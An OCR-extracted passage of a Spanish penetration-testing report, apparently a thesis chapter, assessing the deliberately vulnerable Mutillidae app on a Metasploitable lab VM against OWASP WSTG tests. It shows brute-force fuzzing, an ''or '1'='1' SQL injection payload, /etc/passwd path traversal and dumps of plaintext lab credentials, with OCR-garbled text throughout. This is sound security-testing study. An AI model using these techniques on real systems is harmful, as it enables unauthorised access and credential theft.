de datos.

nsfadmnin@metasploitable:™$ cat svar/www/nutillidaesconfig.inc
{php
»% NOTE: On Samurai, the $dbpass password is “samurai"” rather than blank

Sdbhost "localhost’;
Sdbuser = 'root’:
Sdbpass = "' ;

Sdbname = 'owaspl0’;

m':;::fddmil'lLinetd,spluildb le:™§ _

Figura 6.1: Establecimiento de los datos de conexion con la base de datos para la aplicacion de
mutillidae.

Este cambio se debe a que la base de datos owaspl0 es la que contiene la informacién de los
usuarios que se utiliza en la aplicacién. En el fichero de configuracion el nombre de la base de datos
estaba asignado a metasploit, la cual esta vacia.

Se ha revisado también el contenido de la tabla accounts de la base de datos owasp10 para compro-
bar la existencia de unas cuentas por defecto, lo que ha sido de utilidad a la hora de realizar algunas
pruebas de caja gris, ya que con estas cuentas se puede acceder mediante login a la aplicacién web.

Una vez mencionado esto, las pruebas realizadas se describen en las siguientes secciones.
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6.1. [WSTG-IDNT-04] Enumerar las cuentas de usuario.

La enumeracién de cuentas de usuario consisten en obtener aquellas cuentas pertenecientes a usua-
rios de la aplicaciéon. Con ello, conocido el usuario, un atacante puede realizar un ataque de fuerza
bruta tnicamente sobre la contrasena para obtener acceso a la aplicacion. Las realizacion de los
dos tipos de pruebas relacionadas con la enumeracién de cuentas de usuario se describen en las
siguientes subsecciones.

6.1.1. Analisis de respuestas ante un login fallido

Mediante la herramienta de OWASP ZAP, se ha capturado el trafico generado al lanzar peticiones
con 3 tipos de pardametros al servidor para realizar un acceso mediante login. Estas peticiones junto
con los resultados son los siguientes:

= Usuario existente y contrasena correcta.
e Respuesta del sistema: Logged In
o Cédigo de respuesta HTTP: 302 (redireccién)
e Redireccién: /index.php
e Titulo de pédgina: http://192.168.56.101 /mutillidae/index.php

192.168.56.101 56101

e o saeciase o prcon < oot acng e ortec sctm s et o8 GoogteHacing 05 e
Q}@ Mutillidae: Born to be Hacked Q}@ Mutillidae: Born to be Hacked
Version: 2.1.19 Security Leve': 0 (Hosed) _Hints: Disabled (0~ try harder) Mot Logged in Version: 2.1.19  Security Level: 0 (Hosed) _ Hints: Disabled (0-1 try harder) Logged In Admin: admin (onkey!)
Home_Logniegier _Togie ints _Toggle Securty _ Reset DB ViwLog Vi Cptured Dta

Home logowt ToggleHints ToggleSecurlty ResetDB  Viewlog View Captured Data

y PHP Scripts Of OWASP Top 10 y PHP Scripts Of OWASP Top 10
B — e —
Bt el
(a) Pagina de inicio sin usuario autenticado (b) Pégina de inicio con usuario autenticado

Figura 6.2: Prueba de inicio de sesion con usuario existente y contrasena valida

POST http://192.168.56.181/mutillidae/index.php?page=login.php HTTP/1.1

Host: 192.168.56.101

User-Agent: Mozilla/5.0 (X1l; Linux x86_64; ru:9l.0) Gecko/20160101 Firefox/91.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,inage/webp,*/*;q=0.8
Accept-Language: en-US,en;q=6.5

HTTP/1.1 362 Found

Date: Fri, 08 Jul 2022 15:57:22 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5.10

Content-Type: application/x-www-form-urlencoded Expires: Thu, 19 Nov 1981 08:52:00 GMT
Content-Length: 63 Logged-In-User: admin

Origin: https://192.168.56.161 Cache-Control: public

Connection: keep-alive Pragna: public

Referer: https://192.168.56.101/mutillidae/index.php?page=Login.php Set-Cookie: username=admin

Cookie: PHPSESSID=fBaaScc69aaf2e7ebedbb972chddasd2 Set-Cookie: uid=l
Upgrade-Insecure-Requests: 1 Location: index.php .

Sec -Fetch-Dest : document tast:r{:dlf%ed. Fr‘l,i(fg Jul g?gg 15:57:22 GMT
Sec -Fetch-Mode: navigate cep-Alive: timeout=lS, max=

N Connection: Keep-Alive
Sec-Fetch-Site: same-origin Contemt - Type: toxt/himl
Sec-Fetch-User: 71

use rname=adminGpasswo rd=adninpass&login-php-submit-button=Login </-- I think the database password is set to blank or perhaps samurai.

It depends on whether you installed this web app from irongeeks site or
are using it inside Kevin Johnsons Samurai web testing framework.
It is ok to the password in HTML comments because no user will ever see

(a) Peticién lanzada al servidor (b) Respuesta recibida del servidor

Figura 6.3: Peticién de login de usuario existente y contrasefia valida capturada con OWASP ZAP

= Usuario existente y contrasena incorrecta.
e Respuesta del sistema: “Authentication Error: Bad username or password”

e Cddigo de respuesta HTTP: 200 (OK)
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e Redireccién: /index.php?page=login.php

e Titulo de pégina: http://192.168.56.101 /mutillidae/index.php?page=login.php

e Mensaje de error 404 amistoso: No

POST http://192.168.56.101/mutillidae/index.php?page=login.php HTTP/1.1
Host: 192.168.56.101
User-Agent : Mozilla/5.8 (X11; Linux x86_64; rvi9l.8) Gecko/26160101 Firefox/91.0
Accept : text/html,application/xhtml+xnl,application/xml;q=0.9,inage/webp,*/*;q=0.8
Accept -Language: en-US,en;q=0.5

Content-Type: application/x-www-form-urlencoded

HTTP/1.1 200 OK
Date: Fri, 08 Jul 2022 16:17:54 GNT
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Logged-In-User:

Cache-Control: public
Pragna: public

Last-Modified: Fri, 88 Jul 2022 16:17:54 GMT
Keep-Alive: timeout=15, max=100

Conmection: Keep-Alive

Content-Type: text/html

Content-Length: 59
Origin: https://192.168.56.101

Connection: keep-alive

Referer: https://192.168.56.101/nutillidae/index.php?page=login.php
Cookie: PHPSESSID=fBaa5cc69aaf2e7e6e9bb972¢bddago2
Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: same-origin

Sec-Fetch-User: ?1 depen

to blank or perhaps samurai.
r you installed this web app from irongeeks site or
e Kevin Johnsons Samurai web testing framework.
e password in HTML comments because no user will ever see

!-- I think the database password is st
d: 1

username=adnin&passwo rd=adnin&login-php-submit-button=_ogin
this comment. I remember that security instructor saying we should use the
framework comment symbols (ASP.NET, JAVA, PHP, Etc.)
rather than HTML comments, but we all know those

(a) Peticién lanzada al servidor (b) Respuesta recibida del servidor

Figura 6.4: Peticién de login de usuario existente y contrasena incorrecta capturada con OWASP
ZAP

= Usuario inexistente y contrasena incorrecta.

o Respuesta del sistema: “Authentication Error: Bad username or password”

e Cdédigo de respuesta HTTP: 200 (OK)

e Redireccién: /index.php?page=login.php

e Titulo de pégina: http://192.168.56.101 /mutillidae/index.php?page=login.php
e Mensaje de error 404 amistoso: No

HTTP/1.1 200 0K
Date: Fri, 08 Jul 2022 18:02:55 GMT

Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5.10

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Logged-In-User:

Cache-Control: public

Pragna: public

Last-Modified: Fri, 88 Jul 2022 18:62:55 GMT
Content -Length: 25488

Keep-Alive: timeout=15, max=100

Connection: Keep-Alive

Content-Type: text/html

POST http://192.168.56.101/mut il1idae/index .php ?page=Login.php HTTP/1.1

Host: 192.168.56.101

User-Agent : Mozilla/5.0 (X11; Linux x86_64; rv:91.8) Gecko/20100161 Firefox/91.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,inage/webp,*/*;q=0.8

Accept -Language: en-US,en;q=9.5

Content-Type: application/x-www-form-urlencoded

Content -Length: 63

Origin: https://192.168.56.101

Connection: keep-alive

Referer: https://192.168.56.101/nutillidae/index.php?page=login.php

Cookie: PHPSESSID=fBaaScc69aaf2e7e6egbbs72cbddaes2

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: same-origin

Sec-Fetch-User: 71 </-- I think the database password is set to blank or perhaps samurai.
It depend: ther you installed this web app from irongeeks site or

e Kevin Johnsons Samurai web testing framework.

e password in HTML comments because no user will ever see

username=noadningpasswo rd=noadminglogin-php-submit -button=Login

this comment. I remember that security instructor saying we should use the
framework comment symbols (ASP.NET, JAVA, PHP, Etc.)

(a) Peticién lanzada al servidor (b) Respuesta recibida del servidor

Figura 6.5: Peticién de login de usuario existente y contraseiia incorrecta capturada con OWASP
ZAP

Entre los dos ultimos casos no se ha encontrado una respuesta del sistema o algin campo que
permita diferenciar a usuarios existentes de inexistentes. Tampoco se han encontrado diferencias
significativas en cuanto al tiempo de respuesta. La respuesta recibida en ambos casos es la siguiente:
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oogle Hacking DB 11 Offse

Q}@ Mutillidae: Born to be Hacked Q}@ Mutillidae: Born to be Hacked
Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (O - | try harder) Not Logged In Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (O - | try harder) Not Logged In
c  logiRegisier ToggloHins TopgleSecurty ReselDB  Viewlog ViewCaprared Dia c  logiRegisier TogglHins TopgleSecurly ReselDB  Viewlog ViewCoprared Daia
[ Login [ Login
<,9 Back <ﬁ Back

Authentication Error: Bad user name or password

Authentication Error: Bad user name or password

Please sign-in |

Please sign-in ]
[
. ]

Name Name

Password ] Password

Dont have an account? Please register here

Dont have an account? Please register here

(a) Usuario existente y contrasena incorrecta (b) Usuario no existente

Figura 6.6: Prueba de inicio de sesién fallido

6.1.2. Patron de cuentas adivinable

No se ha detectado ningin patrén de cuentas adivinable que se base identificadores de usuario
secuenciales o que se ajusten al nombre o correo de una persona. En cambio, se ha localizado una

pagina de registro en la que el usuario de la aplicacién quien decide su propio nombre de usuario.
En la figura 6.7 se muestra la pagina de registro.

192.168.56.101

[6riRe beer ik EicFnrokmaargs il bbet Mimtzye b6 dExploitsDB Google Hacking DB OffSec

@)% Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In

Home  Login/Register  Toggle Hints  Toggle Security ~ Reset DB ViewLog  View Captured Data

\ Register for an Account

Please choose your username, password and signature

Username 1
Password R
confirm passwora ||

Signature

Figura 6.7: Pagina de registro de usuarios

6.2. [WSTG-ATHN-01] Capturar el transporte de creden-
ciales en canales cifrados.

Las credenciales de un usuario deben transportarse debidamente cifradas para evitar que un ata-

cante pueda obtenerlas por medio capturando el trafico en un escenario de Hombre interpuesto o
Man in the middle'.

1Tipo de ataque en el que dos terminales intercambian datos y un tercero se interpone para capturar el trifico
generado entre ambos.
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La primera tarea para realizar esta prueba es recrear el escenario descrito por medio de un proxy
web. Esto se consigue usando la herramienta de OWASP ZAP que ofrece un certificado autofirmado
que se puede incluir en el navegador para romper el presente en éste y con ello poder evitar favorecer
a la navegacion HTTPS. Se ha usado el navegador integrado dentro de la aplicaciéon de ZAP ya
que tiene el certificado integrado?.

Las pruebas realizadas se describen en las siguientes subsecciones.

6.2.1. Transporte de credenciales al hacer login

Como se ha visto en la prueba anterior, las credenciales se transmiten en texto plano dentro del
cuerpo de la peticién.

POST http://192.168.56.101/mutillidae/index .php?page=Login.php HTTP/1.1

Host: 192.168.56.101

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Content-Type: application/x-www-form-urlencoded

Content-Length: 63

Origin: https://192.168.56.101

Connection: keep-alive

Referer: https://192.168.56.101/mutillidae/index .php?page=login.php

Cookie: PHPSESSID=fBaabccE9aatZe/e6eSbb972chbddass2

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec -Fetch-Mode: navigate

Sec-Fetch-Site: same-origin

Sec-Fetch-User: 71

userngme=adg$p&password=adminpass&loqin—php—submit—button=Login

Figura 6.8: Credenciales de usuario capturadas al hacer login mediante la herramienta ZAP

6.2.2. Transporte de credenciales al registrarse

Al igual que con el login, cuando se crea una nueva cuenta los datos se transmiten en texto plano.

2https://www.zaproxy.org/docs/desktop/addons/network/options/servercertificates/#generate
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POST http://192.168.56.101/mutillidae/index .php?page=register.php HTTP/1.1
Host: 192.168.56.101

User-Agent: Mozilla/5.8 (X11l; Linux x86_64; rv:91.8) Gecko/20100101 Firefox/91.0

[ Register for an Account Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/webp,*/*:q=0.8
C o Accept -Language: en-US,en;q=0.5

9 Content-Type: application/x-wuww-form-urlencoded

Content-Length: 143

Origin: https://192.168.56.1081

Connection: keep-alive

Referer: https://192.168.56.101/mutillidae/index.php?page=register.php

Cookie: PHPSESSID=fBaaScc69aaf2e7e6e9bb972cbddaedz

Upgrade - Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: same-origin

Sec-Fetch-User: ?1

Version: 20,19 Securi
o

rname, password and signature

signature

TSe Mame =use 1 Lpasswo rd=unbreak abLetc onT1 M. Password=unbreak abLekny S1gnature=leres+my+datarisssaresilt
register-php-submit-button=CreatetAccount

(a) Pégina de registro con los campos re-
llenados (b) Obtencién de los pardmetros enviados con el proxy

Figura 6.9: Obtencién de los pardmetros enviados al servidor en el momento de registrar a un
usuario

6.2.3. Acceso a la pagina estando autenticado

Se guardan en una cookie el nombre de usuario, el uid y el identificador de sesién PHP del usuario.

GET http://192.168.56.101/mutillidae/index.php HTTP/1.1

Host: 192.168.56.101

User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,applications/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;g=0.5

Referer: https://192.168.56.101/mutillidae/index .php?page=login.php

Connection: keep-alive

Cookie: username=admin; uid=1; PHPSESSID=f8aabcchfSaafZe7e6e9bb972chbddacd?
Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: same-origin

Sec-Fetch-User: 71

Figura 6.10: Datos de una cookie cuando se accede a un recurso estando autenticado

Con lo visto, se puede afirmar que el canal por el que se transportan las credenciales no es seguro
)
ya que es muy facil obtener los parametros involucrados interceptando las peticiones.

6.3. [WSTG-ATHN-02] Probar las credenciales por defecto.

Las credenciales por defecto de las aplicaciones utilizadas por el servidor son bien conocidas y en
muchas ocasiones no se cambian lo que genera una grave vulnerabilidad en el servidor. Ademas,
si el servidor sigue un mecanismo de asignaciéon de usuario o contrasena predecible, un atacante
podria adivinarlo y con ello poder acceder mediante login.

Las pruebas realizadas para probar si se usan credenciales por defecto se explican en la siguientes
subsecciones.

6.3.1. Ataque de fuerza bruta al usuario y contrasena

La primera labor consistiria en crear dos diccionarios, uno de nombres de usuario y otro de con-
trasenas. Para esto se ha recopilado informacién sobre el acceso en comentarios del codigo fuente
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asi como uno de los usuarios presentes en la base de datos. En un sistema web real se puede usar
alguno de los diccionarios ya creados con los nombres de usuario y contrasefias més utilizados®. Lo
segundo seria usar la herramienta de OWASP ZAP con la opcién de fuzzing sobre el usuario y la
contrasena con sus respectivos diccionarios. Algunos de los resultados son los siguientes:

(a) Obtencién de un par usuario/contrasefia valido (b) Obtencién de un par usuario/contrasena invélido
mediante fuzzing mediante fuzzing

Figura 6.11: Parte de los resultados de la ejecucion de ataque de fuerza bruta mediante fuzzing

Con los diccionarios empleados, se han encontrado dos pares usuario/contrasenia validos: samurai/samurai
y admin/adminpass.

6.3.2. Registro de usuario sin contrasena

Probar el registro sin contrasena. Si solo se inserta el nombre del usuario, el resto de atributos
se quedan vacios lo que permite la autenticacién sin contrasena para este tipo de cuentas.

= Registro:

52,1655, 151/t LLLisas/ Lndesprp oaga=registar pho 1112/2.1

e
~ Account created for myuser. 1 rows inserted.
e ) s e e s |

= s (c) Peticién generada al registrar

(a) Registro con solo el nombre de (b) Respuesta después de anadir al usuario con contraseia en blan-
usuario usuario con contraseiia en blanco co

Figura 6.12: Registro de un usuario con contrasena en blanco

= Login:

Shttps://github. com/jeanphorn/wordlist
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Hints: Disabled (0 - | try harder) __Not Logged In

\ Togin

illi i PHP Scripts Of OWASP Top 10
Name (e
[—

Password

Latest Version ! Installation
« Latest Version
+ Installation Instructions
+ Usage Instructions.
« Getrid of those pesky PHP errors

> i r
Dont have an account? Please register here < Change Log

(a) Login con contrasefa en blanco (b) Usuario sin contrasefia autenticado

Figura 6.13: Acceso mediante login del usuario sin contrasefia

HTTP/1.1 382 Found

POST http://192.168.56.101/mutillidae/index . php?page=login.php HTTP/1.1 Date: Fri, 88 JUl 2022 20:57:18 GHT
Host: 192.168.56.101 . Server: Apache/2.2.8 (Ubuntu) DAV/2
User-Agent: Mozilla/5.8 (X11; Linux x86_64; rv:91.8) Gecko/20100101 Firefox/S1.0 X-Powered-By: PHP/S.2.4-20buntu5 .10
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,imags/webp,*/*;q=0.8 Expires: Thu, 19 Nov 1081 08:52:00 GMT
Accept-Language: en-US,en;g=0.5 Logged-In-User: myuser

Content-Type: application/x-www-form-urlencoded Cache-Control: public

Content -Length: 55 Pragna: public

Origin: https://192.168.56.101 Set-Cookie: username=myuser
Connection: keep-alive Set-Cookie: uid=18

Referer: https://192.168.56.101/mutillidas/index.php?page=login.php Location: index.php

Cookie: PHPSESSID=fBaa5cc69aaf2e/ebe9bb972cbddae92 Last-Modified: Fri, 08 Jul 2022 28:57:18 GMT
Upgrade-Insecure-Requests: 1 Keep-Alive: timeout=15, max=160
Sec-Fetch-Dest: document Connection: Keep-Alive
Sec-Fetch-Mode: navigate Content -Type: text/html

Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
<{-- I think the database password is set to blank or perhaps samurai.
Username=nyuse ripasswo rd=6Login-php-submit -button=Login It depends on whether you installed this web app from irongeeks site or
are using it inside Kevin Johnsons Samural web testing framework.

(a) Peticién de login sin contrasefia (b) Respuesta del servidor ante login sin contrasefia

Figura 6.14: Trafico generado por el acceso mediante login del usuario sin contrasena

6.3.3. Pruebas de caja gris

La prueba de caja gris consiste en revisar la tablas accounts de la base de datos owaspl0. En ésta
aparecen en texto plano tanto el usuario como la contrasena de cada una de las cuenta. Esto es
critico ya que la contrasena debe almacenarse usando una funcién de hash. Ejecutando la siguiente
sentencia MySQL se obtienen estos datos.

select * from owasplO.accounts;
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Figura 6.15: Usuarios de la aplicacion web almacenados en la base de datos.

6.4. [WSTG-ATHN-04] Eludir el esquema autenticacion.

En la aplicacion se debe validar en todo momento que el usuario estd autenticado y que los recursos
a los que accede son dnicamente aquellos delimitados por sus permisos. Si esto no se cumple, un
usuario podria acceder informacién confidencial de la aplicacién o datos de otros usuarios. Las
pruebas para verificar si esto esto se cumple son las siguientes.

6.4.1. Solicitud de pagina directa (navegacién forzada)

Al hacer un ataque de fuerza bruta sobre el directorio /mutillidae de la méquina. Se ha utilizado
uno de los diccionarios incluidos dentro de la aplicacién. Se obtiene que se hay un acceso a todas
las pdginas (c6digo HTTP 200).
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Sitio; 192.168.56.101:80 ~ Lista: directory-list-1.0.txt v pal 0% Escaneo actual:1| Ndmero de peticiones:24515 & Exportar

Marca de tiempo Req Marca de tiempo de Resp Método URL Cédigo Razén Tamafio que se requiere para el encabezamiento Tamafio reqr
9/7/22 4:35:07 9/7/22 4:35:07 GET http://192.168.56.101:80/mutillidae/includes/crea 200 OK 241bytes 308bytes
9/7/22 4:35:07 9/7/22 4:35:07 GET http://192.168.56.101:80/mutllidae/includes/cons 200 OK 174bytes Obytes
9/7/22 4:35:07 9/7/22 4:35:07 GET http://192.168.56.101:80/mutllidae//javascript/dd 200 OK 154bytes 1.356bytes
9/7/22 4:35:07 9/7/22 4:35:07 GET http://192.168.56.101:80/mutllidae/includes/cros. 200 OK 244bytes 11.665bytes
9/7/22 4:35:07 9/7/22 4:35:07 GET http://192.168.56.101:80/mutllidae//javascript/dd 200 OK 283bytes 8.638bytes
9/7/22 4:35:07 9/7/22 4:35:07 GET http://192.168.56.101:80/mutllidae/includes/cros. 200 OK 243bytes 5.364bytes
9/7/22 4:35:08 9/7/22 4:35:08 GET http://192.168.56.101:80/mutllidae//javascript/dd 200 OK 284bytes 57.254bytes
9/7/22 4:35:08 9/7/22 4:35:08 GET http://192.168.56.101:80/mutllidae/includes/http. 200 OK 242bytes 1.723bytes
9/7/22 4:35:08 9/7/22 4:35:08 GET http://192.168.56.101:80/mutilidae/includes/insuf. 200 OK 241bytes 439bytes
9/7/22 4:35:08 9/7/22 4:35:08 GET http://192.168.56.101:80/mutillidae/includes/sql-. 200 OK 244bytes 14.013bytes
9/7/22 4:35:11 9/7/22 4:35:11 GET http://192.168.56.101:80/mutillidae/login/ 200 OK 177bytes 4.102bytes
9/7/22 4:35:12 9/7/22 4:35:12 GET http://192.168.56.101:80/mutilidae/documentati. 200 OK 154bytes 1.886bytes
9/7/22 4:35:16 9/7/22 4:35:16 GET http://192.168.56.101:80/mutilidae//javascript/fol. 200 OK 256bytes 1.147bytes
9/7/22 4:35:16 9/7/22 4:35:16 GET http://192.168.56.101:80/mutllidae//javascript/ht. 200 OK 254bytes 237bytes
9/7/22 4:35:17 9/7/22 4:35:17 GET http://192.168.56.101:80/mutllidae//javascript/dd 200 OK 239bytes 58bytes
9/7/22 4:35:22 9/7/22 4:35:22 GET http://192.168.56.101:80/mutilidae/passwords/ 200 OK 153bytes 928bytes
9/7/22 4:35:24 9/7/22 4:35:24 GET http://192.168.56.101:80/mutllidae/classes/ 200 OK 154bytes 1.801bytes
9/7/22 4:35:53 9/7/22 4:35:53 GET http://192.168.56.101:80/mutllidae/styles/ 200 OK 154bytes 1.124bytes
9/7/22 4:35:57 9/7/22 4:35:57 GET http://192.168.56.101:80/mutllidae/passwords/a. 200 OK 240bytes 176bytes

Figura 6.16: Fuzzing sobre el directorio de la aplicacién

Uno de los archivos a los que se puede acceder es uno que contiene datos de acceso de algunos
usuarios, passwords/accounts.txt.

HTTP/1.1 200 OK

Date: Fri, 08 Jul 2022 22:01:36 GMT

Server: Apache/2.2.8 (Ubuntu) DAV/2
Last-Modified: Tue, 12 Apr 2011 8Q:14:46 GMT

GET http://192.168.56.101:80/mutillidae/passwords/accounts.txt HTTP/1.1 ETag: "16910-b@-4a0ad9460c980"
Host: 192.168.56.101:80 Accept-Ranges: bytes

User-Agent: DirBuster-0.12 (http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project) Content-Length: 176
Proxy-Connection: Keep-Alive N ;

Content -Length: O Content-Type: text/plain

‘admin', 'adminpass', 'Monkey!!!

'adrian', 'somepassword', 'Zombie Films Rock!!!
'john', 'monkey', 'I like the smell of confunk
'ed', 'pentest', 'Commandline KungFu anyone?'

(b) Respuesta ante la peticién de la pégi-
(a) Peticién de la pdgina passwords/accounts.txt na

Figura 6.17: Peticion y respuesta de una las paginas encontradas mediante fuzzing sobre el directorio
de la aplicacién

6.4.2. Modificacién de parametros

No hay ningin pardmetro en la URL, a parte de las credenciales de los usuarios, que permita
acceder al servidor en base a su valor.

206 102

206 18

note s anemaimarts et unczse s BepiohsDB  Google Hacking DB 1 Offe

ot ammotmares it v BepionsDn

* Mutillidae: Born to be Hacked idae: Born to be Hacked

Version: 2,119 Security Level: 0 (Hosed) __Hints; Disabled (0 - | try harder) _Not Logged In Version: 2.1.19

Hints: Disabled (0 - try harder) _Logged In Admin: admin (Monkey!)

Mutillidae: Deliberately Vulnerable PHP Scripts Of OWASP Top 10 illi i y PHP Scripts Of OWASP Top 10
ettt o inosepesy PHP arors et o nose pesy PHP arors
(a) Pé4gina de inicio sin usuario autenticado (b) Pégina de inicio con usuario autenticado

Figura 6.18: Usuario autenticado frente a usuario no autenticado

6.4.3. Prediccion de ID de sesion

Se usa la misma cookie de sesién para todos los usuarios autenticados, por lo que basta con
autenticarse con esa cookie en la aplicaciéon para hacerse pasar por un usuario cualquiera.
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POST http://192.168.56.101/mutillidae/index.php?page=login.php HTTP/1.1 POST http://192.168.56.101/mutillidae/index.php?page=login.php HTTP/1.1
Host: 192.168.56.101 Host: 192.168.56.161
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.@ User-Agent: Mozilla/5.6 (X11; Linux x86_64; rv:91.0) Gecko/20100161 Firefox/91.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image /webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5 Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded Content-Type: application/x-www-form-urlencoded
Content -Length: 63 Content -Length: 63
Origin: https://192.168.56.101 Origin: https://192.168.56.101
Connection: keep-alive Connection: keep-alive
Referer: https://192.168.56.101/mutillidae/index .php?page=login.php Referer: https://192.168.56.101/nutillidae/index.php?page=login.php
Cookie: PHPSESSID=fBaaScc69aaf2e7ehedbb972chddacs? Cookie: PHPSESSID=fBaa5ccG9aaf2e7ebedbbo72chddaeg2
Tpgrade - Insecure Requeste: T parace - INsecuUre Requests:
Sec-Fetch-Dest: document Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1 Sec-Fetch-User: ?1
uSer‘mame:admin&gaSSwDrd:admihEaSS&quin—th—submit'buttonzLoqim username=samuraidpassword=samurai&login-php-submit-button=Login
. .z . . . .z . .
(a) Autenticacién con admin/adminpass (b) Autenticacién con samurai/samurai

Figura 6.19: Comprobacién del mismo valor de cookie de sesién para dos usuarios diferentes

6.4.4. Inyeccién SQL

En la péagina user-info.php se solicitan mediante un formulario las credenciales para informacién
del usuario. No obstante, introduciendo el payload ’or '1’=’1 en ambos campos, se puede realizar
un ataque de inyeccién SQL y con ello obtener los datos de todos los usuarios. Estos coinciden con
los existentes en la base de datos.

B Oa

Kali Docs % Kali Forums e\ Kali NetHunter < Exploit-DB Google Hacking

Please enter username and password
to view account details

Hame
Password

Dont have an account? Piease register here

Results for . 16 records found.

Username=admin
Password=adminpass
Signature=Monkey!

Username=:
1=somepassword
Signature=Zombie Films Rock!

Username=john
Password=monke:
Signature=| like the smell of confunk

Username=jeremy
Password=password
Signature=d1373 1337 speak

Username=bryce
Password=password
Signature=I Love SANS

Username=samural
Password=samurai
Signature=Carving Fools

Usernames=ijim
Password=password
Signature=|im Rome is Burning

Username=hobby
Password=password
Signature=Hank is my dad

Username=simba
Password=password
Signature=| am a cat

Username=dreveil
Password=password
Signature=Preparation H

Username=scotty
Password=password
Signature=Scotty Do

Username=cal
Password=password
Signature=Go Wildcats

Username=john
Password=password
Signature=Do the Duggie!

Username=kevin
Password=42
Signature=Doug Adams rocks

Username=dave
Password=set

Figura 6.20: Inyeccion SQL para obtener informacion de todos los usuarios sin estar autenticado
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6.5. [WSTG-ATHZ-01] Incluir ficheros transversales de di-
rectorio en las peticiones al servidor.

Con la inclusién de archivos transversales en el servidor se puede verificar que es posible acceder a
informacién confidencial sobre éste que se almacene en fichero internos.

6.5.1. Enumeracién de vectores de entrada

La prueba ha consistido en localizar un vector de entrada en el que se pudiesen pasar como ar-
gumento una ruta de un fichero. En la propia pagina de inicio se observa un nombre de variable
llamado page que permite cargar ficheros php:

A OA4 192.168.56.101

iR teer & rKHliEaroknearks Kail biet blimtene b6 dxploitsDB Google Hacking DB OffSec

Q}@ Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In

Home Legin/Register Toggle Hints Toggle Security Reset DB View Log View Captured Data

Mutillidae: Deliberately Vulnerable PHP Scripts Of OWASP Top 10

Latest Version / Installation

« Latest Version

« Installation Instructions

« Usage Instructions

« Get rid of those pesky PHP errors
« Change Log

* Notes

Figura 6.21: Uso de la variable page para cargar ficheros php en la pagina de inicio

6.5.2. Inclusién de rutas de ficheros

Cambiando el valor de la variable por la ruta /etc/passwd se puede obtener informacién sobre los
usuarios del sistema:

o trer &QrKtiefio okmaares ailihiet Humtege b6 BxploitsDB Google Hacking DB OffSec

@;@ Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In

Home  Login/Register  Toggle Hints  Toggle Security ~ Reset DB ViewLog  View Captured Data

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh Ip:x:7:7:Ip:/var/spool/Ipd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var
Irun/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody: Inonexlstent /bin/sh libuuid:x:100: 101 /varl\lb]l\buuld /bin/sh
dhcp:x:101:102::/nonexistent:/bin/false syslog:x:102:103::/home/syslog:/bin/false klog:x:103:104::/home/klog:/bin/false sshd.
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash bind:x:105:113::/var/cache/bind:/bin/false postfix:x:106:115::/v

postgres:x:108:117:PostgreSQL admlnlstratnr :fvar/lib/postgresql:/bin/bash mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
